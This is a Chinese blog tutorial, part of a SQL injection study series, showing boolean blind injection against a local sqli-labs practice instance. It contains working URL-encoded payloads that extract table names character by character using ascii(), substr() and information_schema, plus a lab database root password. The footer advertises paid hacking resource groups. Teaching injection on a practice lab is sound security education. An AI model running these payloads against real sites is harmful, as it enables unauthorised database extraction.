sqli学习笔记-08
2023-2-18 22:11:2 Author: 渗透安全团队(查看原文) 阅读量:17 收藏

sqli学习笔记-08

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

前言

接前文(sqli学习笔记-07)继续讲,前面一讲讲到了利用 left(database(),1)进行尝试

正文

这里讲一下如何利用docker进入容器

docker exec -it containid bash
[email protected]:/# mysql -uroot -p
Enter password:euiti2019(可以参考github仓库中docker-compose.yml文件)

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| challenges         |
| information_schema |
| mysql              |
| performance_schema |
| security           |
| sqlinjection       |
| sys                |
+--------------------+

利用 substr() ascii()函数进行尝试

ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101

根据以上得知数据库名为 security,那我们利用此方式获取 security 数据库下的表。获取 security 数据库的第一个表的第一个字符

http://127.0.0.1:8888/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))%3E80--+

此处table_schema可以写成 =’security’,但是我们这里使用的database(),是因 为此处 database()就是 security。此处同样的使用二分法进行测试,直到测试正确为止。此处应该是 101,因为第一个表示 email。

MariaDB [(none)]> use security;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [security]> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| referers           |
| uagents            |
| users              |
+--------------------+
4 rows in set (0.002 sec)

如何获取第一个表的第二位字符呢? 这里我们已经了解了 substr()函数,这里使用 substr(**,2,1)即可。

http://127.0.0.1:8888/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),2,1))%3E108--+

那如何获取第二个表呢?思考一下!

这里可以看到我们上述的语句中使用的 limit 0,1. 意思就是从第 0 个开始,获取第一个。那 要获取第二个是不是就是 limit 1,1!

http://127.0.0.1:8888/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),1,1))%3E113--+

此处 113 返回是正确的,因为第二个表示 referers 表,所以第一位就是 r. 以后的过程就是不断的重复上面的,这里就不重复造轮子了。原理已经解释清楚了。当你按照方法运行结束后,就可以获取到所有的表的名字。


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

关 注 有 礼

关注下方公众号回复“666”可以领取一套精品渗透测试工具集和百度云视频链接。

 还在等什么?赶紧点击下方名片关注学习吧!


群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247498272&idx=2&sn=6c860d12bf2377c5ffa02dc36e1e3a7f&chksm=c176078ff6018e995760f7692fd871e6eb0d01c294836360c749e3acec919dff9cc40e19953a#rd
如有侵权请联系:admin#unsafe.sh